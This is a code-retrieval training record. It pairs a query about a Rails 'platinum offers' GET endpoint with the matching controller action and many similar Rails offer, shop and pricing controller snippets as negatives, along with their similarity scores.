[ "0.7465931", "0.7296629", "0.6904565", "0.6689023", "0.6657805", "0.66405326", "0.66215533", "0.6520747", "0.65061295", "0.6505767", "0.64672726", "0.6463764", "0.6445372", "0.6356932", "0.63315415", "0.63076544", "0.62923086", "0.62606955", "0.61769545", "0.61769545", "0.6121104", "0.61202294", "0.6083534", "0.606915", "0.6064547", "0.60501426", "0.60498446", "0.60498446", "0.60498446", "0.6035649", "0.6024922", "0.60104495", "0.5998736", "0.59922874", "0.59811246", "0.5958627", "0.59429675", "0.5942329", "0.5941934", "0.5920795", "0.5916805", "0.58974946", "0.58939844", "0.5885106", "0.5883146", "0.58816564", "0.5874965", "0.58708954", "0.58487207", "0.5838623", "0.5830256", "0.58286166", "0.5809028", "0.58078176", "0.58019346", "0.5788365", "0.5779582", "0.5775893", "0.576985", "0.57661635", "0.5759133", "0.5748694", "0.5734335", "0.5729686", "0.5721736", "0.57176435", "0.5688639", "0.5684052", "0.56823444", "0.56740594", "0.567367", "0.566865", "0.5661881", "0.56596476", "0.5658216", "0.565714", "0.5656371", "0.56549186", "0.5647878", "0.56426555", "0.56404656", "0.56353325", "0.5613942", "0.5606955", "0.56001925", "0.55922645", "0.5591771", "0.5591355", "0.5590786", "0.5588266", "0.558803", "0.5571527", "0.5567301", "0.5567181", "0.5563022", "0.5545637", "0.5542907", "0.5537774", "0.55359256", "0.5529511" ]
0.72127926
2
GET /shop/platinum_offers GET /shop/platinum_offers.json
def index @shop_platinum_offers = Shop::PlatinumOffer.all respond_to do |format| format.html # index.html.erb format.json { render json: @shop_platinum_offers } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_platinum_offer }\n end\n end", "def index\n @offers = Offer.all\n\n render json: @offers\n end", "def new\n @shop_platinum_offer = Shop::PlatinumOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_platinum_offer }\n end\n end", "def get_offers\n unless get_connection_object.headers.has_key?(\"X-Auth-Token\")\n raise \"Please authenticate() to see your offers\"\n end\n get('offer')\n end", "def offers\n authenticated_post(\"offers\").body\n end", "def index\n @offers = Offer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def index\n if api_request?\n @shop_special_offers = Shop::SpecialOffer.buyable_by_character(current_character)\n else\n @shop_special_offers = Shop::SpecialOffer.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: include_root(@shop_special_offers, :special_offer) }\n end\n end", "def index\n @offers = Offer.all\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n format.html { @offers }\n end\n end", "def index\n @public_offers = @club.public_offers\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def get(params = {})\n client.get(\"/v1/shopping/hotels/#{@hotel_id}/hotel-offers\", params)\n end", "def index\n @offers = Offer.all\n @offer_codes = OfferCode.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def index\n @offers = getmydata(\"Offer\")\n\tpagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def index\n @special_offers = SpecialOffer.all\n end", "def index\n if params[:for_applicant]\n @offers = current_user.applicant.offers\n elsif params[:for_positions]\n @offers = []\n current_user.positions.each { |offer| @offers << offer }\n else\n @offers = Offer.all\n end\n\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n end\n end", "def show\n render json: @offer\n end", "def show\n render json: @offer\n end", "def index\n\n @offers = Offer.order(:id)\n\n render( {json: @offers}.merge set_render_options )\n\n end", "def offers; global.offers end", "def offers\n return nil unless have_key?\n url = \"/v1/offers\"\n #Hashie::Mash.new(\n self.class.post(url, :headers => headers_for(url)).parsed_response\n end", "def index\n @general_offers = GeneralOffer.all\n end", "def index\n @offers = Offer.all\n end", "def index\n @offers = Offer.all\n end", "def index\n @offers = Offer.all\n end", "def index\n @offers = Offer.all\n end", "def list\n offers = []\n if params[:product_id]\n product = Product.find(params[:product_id])\n if product && (product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n if product.user.id == @current_user.id && params[:include_offers_made_by_other_users] == \"true\"\n product.offers.each do |offer|\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n elsif product.user.id != @current_user.id && params[:include_offers_made_by_current_user] == \"true\"\n offer = Offer.find_by(product_id: product.id, user_id: @current_user.id)\n if offer\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id,\n\t\t\t\t username: product.user.username\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n else\n render status: 404, json: {error: true}\n end\n else\n if params[:include_offers_made_by_current_user] == \"true\"\n @current_user.offers.each do |offer|\n if (offer.product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: offer.product.user.id,\n\t\t\t\t username: offer.product.user.username\n },\n thumbnail: offer.product.thumbnail,\n product_id: offer.product.id,\n product_name: offer.product.product_name,\n product_price: offer.product.price\n },\n product_name: offer.product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n end\n if params[:include_offers_made_by_other_users] == \"true\"\n @current_user.products.each do |product|\n if (product.sold_status != Product.SOLD_SOLD || params[:allow_sold])\n product.offers.each do |offer|\n offers << {\n offer_id: offer.id,\n product: {\n user: {\n user_id: product.user.id,\n username: product.user.username\n },\n thumbnail: product.thumbnail,\n product_id: product.id,\n product_name: product.product_name,\n product_price: product.price\n },\n product_name: product.product_name,\n user: {\n user_id: offer.user.id,\n\t\t\t\t username: offer.user.username,\n first_name: offer.user.first_name,\n last_name: offer.user.last_name\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n end\n end\n end\n end\n end\n render status: 200, json: {offers: offers}\n end", "def index\n @offers = Offer.all\n \n end", "def index\n if backend_request?\n @shop_resource_offers = Shop::ResourceOffer.all\n else \n @shop_resource_offers = Shop::ResourceOffer.where([\"(started_at is null or started_at < ?) and (ends_at is null or ends_at > ?)\", Time.now, Time.now])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_resource_offers }\n end\n end", "def new\n @shop_special_offer = Shop::SpecialOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_special_offer }\n end\n end", "def won_offers(options={})\n won_status.offers.all(options)\n end", "def show\n @shop_bonus_offer = Shop::BonusOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_bonus_offer }\n end\n end", "def special_offer(special_offer, options = {})\n get(\"special_offers/#{special_offer}\", options).pop\n end", "def index\n @accepted_offers = AcceptedOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @accepted_offers }\n end\n end", "def show\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def show\n @shop_resource_offer = Shop::ResourceOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_resource_offer }\n end\n end", "def new\n @offers = Offer.all\n @price = Price.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @price }\n end\n end", "def show\n @shop_special_offer = Shop::SpecialOffer.find_by_id(params[:id])\n raise NotFoundError.new('offer not found') if @shop_special_offer.nil?\n\n if api_request? && !current_character.purchases.where('external_offer_id = ? and redeemed_at is not null', @shop_special_offer.external_offer_id).empty?\n raise NotFoundError.new('offer not found')\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_special_offer }\n end\n end", "def show\n @breadcrumb = 'read'\n @sale_offer = SaleOffer.find(params[:id])\n @items = @sale_offer.sale_offer_items.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sale_offer }\n end\n end", "def new\n @shop_resource_offer = Shop::ResourceOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_resource_offer }\n end\n end", "def index\n @floor_plans = @product.floor_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floor_plans }\n end\n end", "def index\n @shop_special_offers_transactions = Shop::SpecialOffersTransaction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_special_offers_transactions }\n end\n end", "def show\n @breadcrumb = 'read'\n @offer = Offer.find(params[:id])\n @items = @offer.offer_items.paginate(:page => params[:page], :per_page => per_page).order('id')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def show\n @ms_offer = MsOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ms_offer }\n end\n end", "def show\n @offer = Offer.find(params[:id])\n @offer_quizzes = @offer.quizzes\n @offer_packages = @offer.packages\n @quizzes = Quiz.excluding(@offer.quizzes)\n @packages = Package.excluding(@offer.packages)\n @offer_users = @offer.offer_users\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def index\n @offers = Offer.search_offers(params[:keyword],\n params[:pick_up_point], params[:drop_off_point],\n params[:vancancy_lower_limit], params[:vancancy_upper_limit],\n params[:cost_lower_limit], params[:cost_upper_limit])\n end", "def getOffers\n if current_contractor || current_user\n offers_per_post = Offer.where(post_id: params[:post_id])\n @offers = offers_per_post.order(created_at: :asc).limit(10)\n\n render json: @offers.as_json(include: [{contractor: { methods: [:avatar_url] }}, :post,])\n end\n end", "def new\n @shop_bonus_offer = Shop::BonusOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_bonus_offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def index\n @shop_bonus_offers = Shop::BonusOffer.order('resource_id asc, currency asc, price asc')\n \n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @shop_bonus_offers.each do |offer|\n offer[:resource_effect] = offer.effect_for_character(current_character) \n end\n \n render json: @shop_bonus_offers\n end\n end\n end", "def index\n @pe_exchange_products = PeExchangeProduct.all.page(params[:page]).per(params[:per_page])\n respond_to do |format|\n format.html\n format.json { render json:\n list_json(@pe_exchange_products, :include => [:pe_product])\n }\n end\n end", "def new\n @offer = Offer.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def offers(location = @location, publisher = @publisher)\n raise ArgumentError, \"No location specified\" unless location\n raise ArgumentError, \"No publisher specified\" unless publisher\n\n url = build_url(location, 'publishers', publisher, 'artifacttypes', 'vmimage', 'offers')\n\n JSON.parse(rest_get(url)).map{ |element| element['name'] }\n end", "def show\n @shop_fb_credit_offer = Shop::FbCreditOffer.find(params[:id])\n\n @prices = []\n\n JSON.parse(@shop_fb_credit_offer.prices).each do |o|\n @prices << o\n end\n\n respond_to do |format|\n format.html { render layout: 'empty' }\n format.json { render json: @shop_fb_credit_offer }\n end\n end", "def lost_offers(options={})\n lost_status.offers.all(options)\n end", "def index\n @offers = Offer.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers.to_json, :callback => params[:callback] }\n end\n end", "def show\n @offer = Offer.find(params[:id])\n \n @venue_name= Venue.find(@offer.venue_id).venue_name\n @offer_opinions = @offer.opinions\n if @offer_opinions.first\n @offer_opinions = Opinion.all_offer_opinions(@offer.id)\n #@offer_opinions = @offer_opinions.joins('LEFT OUTER JOIN users ON users.id = opinions.user_id').select('title, description, points, username')\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def offer_page(page = 1)\n #get all offers\n if page == 1 && has_first_page_of_full_offers\n self.offers \n else\n products = self.class.find(:item_id => self.asin, \n :response_group => \"OfferListings\",\n :merchant_id => \"All\",\n :condition => \"All\",\n :offer_page => page)\n\n if products\n product = products[0] \n self.offer_pages = self.class.offer_pages_for(product)\n product.offers\n else\n []\n end\n end\n end", "def show\n @public_offer = PublicOffer.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @public_offer }\n end\n end", "def index\n @category_offers = CategoryOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @category_offers }\n end\n end", "def index\n @help_offers = @job_request.help_offers\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @help_offers }\n end\n end", "def new\n @ms_offer = MsOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ms_offer }\n end\n end", "def index\n @power_supplies = PowerSupply.all.to_a\n render(json: @power_supplies.map do |power_supply|\n setup_power_supply_properties power_supply\n power_supply.properties\n end)\n end", "def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end", "def index\n @offer_codes = OfferCode.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offer_codes }\n end\n end", "def scrape_offers_for(item)\n return [] unless valid_offers_url?(item.more_offers_url)\n root = Nokogiri::HTML(get_more_offers_page(item.more_offers_url))\n scraped_offers = scrape_offers(root)\n publish(:on_offers_scrapped_for, item, scraped_offers)\n scraped_offers\n end", "def index\n \n if user_signed_in?\n \n if current_user.is_admin\n \n @offers = Offer.all\n\n else\n\n redirect_to root_path\n\n end\n\n else\n\n redirect_to root_path\n\n end\n\n end", "def request_raw_prices\n Ds::Pim::Api.get_product_offering_prices @offering_id # Array\n end", "def show\n render json: @pricing\n end", "def buyers\n result = get_buyers(params, false)\n render json: result, status: 200\n end", "def index\n if params[:event_id].blank?\n @offerings = Offering.all\n else\n @offerings = Offering.find_all_by_event_id params[:event_id]\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offerings }\n end\n end", "def show\n @shop_special_offers_transaction = Shop::SpecialOffersTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_special_offers_transaction }\n end\n end", "def index\n @project_offers = Project::Offer.all\n end", "def show\n offer = Offer.find params[:id]\n @offer = render_to_string partial: 'offers/offer.json', locals: { offer: offer }\n respond_to do |format|\n format.html { render layout: false }\n end\n end", "def create\n @shop_platinum_offer = Shop::PlatinumOffer.new(params[:shop_platinum_offer])\n\n respond_to do |format|\n if @shop_platinum_offer.save\n format.html { redirect_to @shop_platinum_offer, notice: 'Platinum offer was successfully created.' }\n format.json { render json: @shop_platinum_offer, status: :created, location: @shop_platinum_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_platinum_offer.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n render json: @email_price_list\n end", "def index\n @shop_fb_credit_offers = Shop::FbCreditOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_fb_credit_offers }\n end\n end", "def new\n @offering = Offering.new\n @resources = Resource.find_all_by_user_id current_user.id\n @select = []\n @resources.each do |resource|\n addresses = Address.find_all_by_id resource.address_id\n addresses.each do |address|\n @select << [address.street + \", \" + address.number.to_s + \" - \" + resource.place, resource.id]\n end\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offering }\n end\n end", "def new\n @offer = Offer.new\n @user = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @shop_special_offers_transaction = Shop::SpecialOffersTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_special_offers_transaction }\n end\n end", "def show\n @job_offer = JobOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_offer }\n end\n end", "def index\n @auto_offers = AutoOffer.all\n end", "def new\n @offer = Offer.new\n if can? :manage, @offer\n @venue_names = current_user.venues.pluck(:venue_name)\n #@venue_names = current_user.venues.select('venues.id, venue_name')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n else\n redirect_to offers_path\n end\n end", "def index\n @offerers = Offerer.all\n end", "def index\n @local_offers = LocalOffer.all \n @local_offers = @local_offers.paginate(:page => params[:page], :per_page => 10)\n\n render :layout => 'admin'\n end", "def index\n @base_offer = BaseOffer.new\n @base_offers = BaseOffer.all\n end", "def read\n offer = Offer.find(params[:id])\n if offer\n if @current_user.id == offer.user.id || @current_user.id == offer.product.user.id\n render status: 200, json: {\n offer_id: offer.id,\n product: {\n product_id: offer.product.id,\n product_name: offer.product.product_name,\n product_type: offer.product.product_type,\n product_sold_status: offer.product.sold_status,\n price: offer.product.price,\n description: offer.product.description,\n thumbnail: offer.product.thumbnail,\n },\n conversation: offer.conversation ? {id: offer.conversation.id} : nil,\n offer_status: offer.offer_status,\n price: offer.price,\n created_at: offer.created_at.strftime(\"%-m/%-d/%Y\")\n }\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end", "def new\n @breadcrumb = 'create'\n @sale_offer = SaleOffer.new\n @projects = projects_dropdown\n @work_orders = work_orders_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n @stores = stores_dropdown\n @clients = clients_dropdown\n @payment_methods = payment_methods_dropdown\n @status = sale_offer_statuses_dropdown\n # @products = products_dropdown\n @contracting_requests = contracting_requests_dropdown\n @approval = 'false'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale_offer }\n end\n end", "def index\n limit = params[:limit]&.to_i || 10\n page = params[:page]&.to_i || 0\n if params[:available] == \"1\"\n @products = Product.paginate(page, limit).available\n else\n @products = Product.paginate(page, limit)\n end\n render json: @products\n end", "def offer\n @offer ||= params[:id].present? ? Offer.find(params[:id]) : Offer.find_by(listing_id: params[:listing_id])\n end", "def populate_offers_living_social\n testing = \"true\"\n if testing != \"true\"\n division_request = \"http://www.livingsocial.com/services/city/v2/cities\"\n @division_response = `curl \"#{division_request}\"`\n @division_response = JSON.parse(@division_response)\n else\n @division_response = {\"divisions\"=>[{\"id\"=>\"26\"}, {\"id\"=>\"864\"}]}\n end\n\n @division_response['divisions'].each do |division|\n @division_deals_request = \"http://monocle.livingsocial.com/v2/deals?city=#{URI::escape(division['id'])}&api-key=2574AD58578A419596D95D4D0549A9CF&full=1\"\n @division_deals_response = `curl \"#{@division_deals_request}\"`\n @division_deals_response = JSON.parse(@division_deals_response)\n\n @division_deals_response['deals'].each do |deal|\n if deal['sold_out'].to_s.match(/false/i)\n @offer = Offer.find_by_deal_url deal['url']\n @offer.destroy if @offer.present?\n @offer = Offer.new\n @offer.deal_id = deal['id']\n @offer.deal_end = deal['offer_ends_at']\n @offer.deal_start = deal['offer_starts_at']\n @offer.deal_source = \"livingsocial\"\n @offer.merchant_type = ''\n @offer.deal_header = deal['long_title']\n @offer.merchant_name = deal['merchant_name']\n\n @offer.division_id = division['id']\n @offer.large_image_url = deal['images'][0]['size220']\n @offer.status = \"open\"\n @offer.deal_url = deal['url']\n @offer.redemption_location = deal['locations'][0].present? ? (deal['locations'][0]['city'] ) : (\"Online Deal\")\n\n deal['options'].each do |option|\n @offer_option = @offer.offer_options.build\n \n @offer_option.value_currency = deal['currency_code']\n @offer_option.value_amount = option['original_price']\n @offer_option.price_currency = deal['currency_code']\n @offer_option.price_amount = option['price']\n\n if option['savings'].blank?\n @offer_option.discount_amount = option['original_price'].to_f - option['price'].to_f\n else\n @offer_option.discount_amount = option['savings'].to_f\n end\n\n if option['discount'].blank?\n @offer_option.discount_percent = ((100.0 * (@offer_option.value_amount.to_f - @offer_option.price_amount.to_f))/\n @offer_option.value_amount.to_f).to_i\n else\n @offer_option.discount_percent = option['discount'].to_i\n end\n \n @offer_option.price_amount = \"$\" + option['price'].to_s\n @offer_option.discount_amount = \"$\" + sprintf(\"%0.02f\", @offer_option.discount_amount).to_s\n @offer_option.discount_currency = deal['currency_code']\n @offer_option.offer_id = @offer.id\n @offer.update_trend_score(deal['orders_count'])\n @offer.save\n end\n \n deal['locations'].each do |location|\n @offer_redemption_location = @offer.offer_redemption_locations.build\n @offer_redemption_location.redemption_neighborhood = location['city']\n \n @offer_redemption_location.redemption_street_address1 = location['address1']\n @offer_redemption_location.redemption_street_address2 = location['address2']\n @offer_redemption_location.redemption_city = location['city']\n @offer_redemption_location.redemption_state = location['state']\n \n if Offer::States::List.include?(@offer_redemption_location.redemption_state)\n @offer_redemption_location.redemption_country = deal['county_code']\n else\n @offer_redemption_location.redemption_country = \"NONUS\"\n end\n\n @offer_redemption_location.redemption_zip_code = location['postal_code']\n @offer_redemption_location.redemption_lat = location['latlng'][0]\n @offer_redemption_location.redemption_lng = location['latlng'][1]\n @offer_redemption_location.redemption_phone_number = location['phone']\n @offer_redemption_location.update_woeid\n @offer_redemption_location.offer_option_id = @offer_option.id\n @offer.save\n end\n \n @offer.category_id = deal['categories'][0].to_s + '-' + deal['categories'][1].to_s\n p @offer.category_id\n @offer.get_snapgadget_category_id_living_social\n @offer.save\n end\n end\n end\n\n end", "def offers\n @offers ||= offer_map.values.map { |v| v[:offer] }\n end", "def response(env)\n uid = env.params['uid']\n if uid.nil?\n [200, {}, erb(:default, :locals => {:uid => nil, :pub0 => nil, :page => nil})]\n else\n pub0 = env.params['pub0']\n page = env.params['page']\n begin\n\n offers = Application.offersService.getOffers(uid, pub0, page)\n [200, {}, erb(:offers, :locals => {:offers => offers, :uid => uid, :pub0 => pub0, :page => page})]\n rescue Exception => error\n [200, {}, erb(:error, :locals => {:errorMsg => error.message, :uid => uid, :pub0 => pub0, :page => page})]\n end\n end\n end", "def show\n @offer = Offer.find(params[:id])\n checkaccountobject(\"offers\",@offer)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def index\n @units = @current_user.units rescue []\n conditions = { :unit_id => @units.collect(&:id) }\n @offerings = Offering.paginate(:all, \n :conditions => conditions, \n :page => params[:page], \n :include => [ :admin_phases ])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @offerings }\n end\n end", "def show\n \n @offering = Offering.find_by_id(params[:id])\n @resource = Resource.find @offering.resource_id\n @question = Question.new\n @negociation = Negociation.new\n @questions = @offering.questions\n @event = Event.find @offering.event_id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offering }\n end\n end", "def index\n @offers = Offer.where(customer: current_user.customer)\n end", "def index\n @product_offers = ProductOffer.all.group_by(&:product_id).map { |k,v| v.min_by(&:price) }\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_offers }\n end\n end", "def show\n @online_store = OnlineStore.find(params[:id])\n @products = @online_store.products\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_store }\n end\n end", "def index\n @polls = Poll.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @polls }\n end\n end" ]
[ "0.73110384", "0.72144324", "0.6990316", "0.6984181", "0.6920462", "0.69086015", "0.68031245", "0.67641", "0.67568433", "0.67458665", "0.6726152", "0.6717726", "0.6645077", "0.6641578", "0.66292536", "0.66292536", "0.6618811", "0.66127086", "0.66018534", "0.65189666", "0.6513163", "0.6513163", "0.6513163", "0.6513163", "0.65090865", "0.64977986", "0.64706516", "0.63969004", "0.6375619", "0.6355991", "0.6351828", "0.63068473", "0.6273335", "0.62708414", "0.62628984", "0.6244187", "0.62164605", "0.61961764", "0.6172199", "0.6126613", "0.61197203", "0.61103785", "0.61094844", "0.6104085", "0.6076588", "0.60657567", "0.60581", "0.60581", "0.60581", "0.6056664", "0.6051091", "0.60477036", "0.6035655", "0.6012308", "0.6011943", "0.5991326", "0.5985251", "0.59847444", "0.59754926", "0.59697956", "0.59671956", "0.5960548", "0.5956511", "0.5951051", "0.5924618", "0.5923819", "0.5906413", "0.5903559", "0.5896842", "0.589087", "0.5874222", "0.5857185", "0.5854287", "0.5849912", "0.58409977", "0.58353597", "0.5833338", "0.58270556", "0.58204645", "0.58126533", "0.5796642", "0.5791457", "0.57896197", "0.5785517", "0.5769409", "0.5768717", "0.57596844", "0.5756408", "0.57449484", "0.5698199", "0.5691696", "0.56908387", "0.5690471", "0.5690433", "0.5690236", "0.5688679", "0.5682927", "0.5672829", "0.5670578", "0.56655645" ]
0.7916808
0
GET /shop/platinum_offers/1 GET /shop/platinum_offers/1.json
def show @shop_platinum_offer = Shop::PlatinumOffer.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @shop_platinum_offer } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @shop_platinum_offers = Shop::PlatinumOffer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_platinum_offers }\n end\n end", "def new\n @shop_platinum_offer = Shop::PlatinumOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_platinum_offer }\n end\n end", "def index\n @offers = Offer.all\n\n render json: @offers\n end", "def index\n @offers = Offer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def index\n @offers = Offer.all\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n format.html { @offers }\n end\n end", "def show\n render json: @offer\n end", "def show\n render json: @offer\n end", "def index\n @public_offers = @club.public_offers\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def index\n if api_request?\n @shop_special_offers = Shop::SpecialOffer.buyable_by_character(current_character)\n else\n @shop_special_offers = Shop::SpecialOffer.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: include_root(@shop_special_offers, :special_offer) }\n end\n end", "def index\n @offers = getmydata(\"Offer\")\n\tpagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def get(params = {})\n client.get(\"/v1/shopping/hotels/#{@hotel_id}/hotel-offers\", params)\n end", "def get_offers\n unless get_connection_object.headers.has_key?(\"X-Auth-Token\")\n raise \"Please authenticate() to see your offers\"\n end\n get('offer')\n end", "def new\n @shop_special_offer = Shop::SpecialOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_special_offer }\n end\n end", "def offers\n authenticated_post(\"offers\").body\n end", "def show\n @shop_bonus_offer = Shop::BonusOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_bonus_offer }\n end\n end", "def show\n @shop_resource_offer = Shop::ResourceOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_resource_offer }\n end\n end", "def index\n\n @offers = Offer.order(:id)\n\n render( {json: @offers}.merge set_render_options )\n\n end", "def index\n @offers = Offer.all\n @offer_codes = OfferCode.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "def show\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "def new\n @shop_resource_offer = Shop::ResourceOffer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shop_resource_offer }\n end\n end", "def index\n @special_offers = SpecialOffer.all\n end", "def new\n @offers = Offer.all\n @price = Price.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @price }\n end\n end", "def index\n @general_offers = GeneralOffer.all\n end", "def index\n if backend_request?\n @shop_resource_offers = Shop::ResourceOffer.all\n else \n @shop_resource_offers = Shop::ResourceOffer.where([\"(started_at is null or started_at < ?) and (ends_at is null or ends_at > ?)\", Time.now, Time.now])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shop_resource_offers }\n end\n end", "def index\n if params[:for_applicant]\n @offers = current_user.applicant.offers\n elsif params[:for_positions]\n @offers = []\n current_user.positions.each { |offer| @offers << offer }\n else\n @offers = Offer.all\n end\n\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n end\n end", "def show\n @shop_special_offer = Shop::SpecialOffer.find_by_id(params[:id])\n raise NotFoundError.new('offer not found') if @shop_special_offer.nil?\n\n if api_request? && !current_character.purchases.where('external_offer_id = ? and redeemed_at is not null', @shop_special_offer.external_offer_id).empty?\n raise NotFoundError.new('offer not found')\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @shop_special_offer }\n end\n end", "def index\n @offers = Offer.all\n \n end", "def index\n @offers = Offer.all\n end", "def index\n @offers = Offer.all\n end", "def index\n @offers = Offer.all\n end", "def index\n @offers = 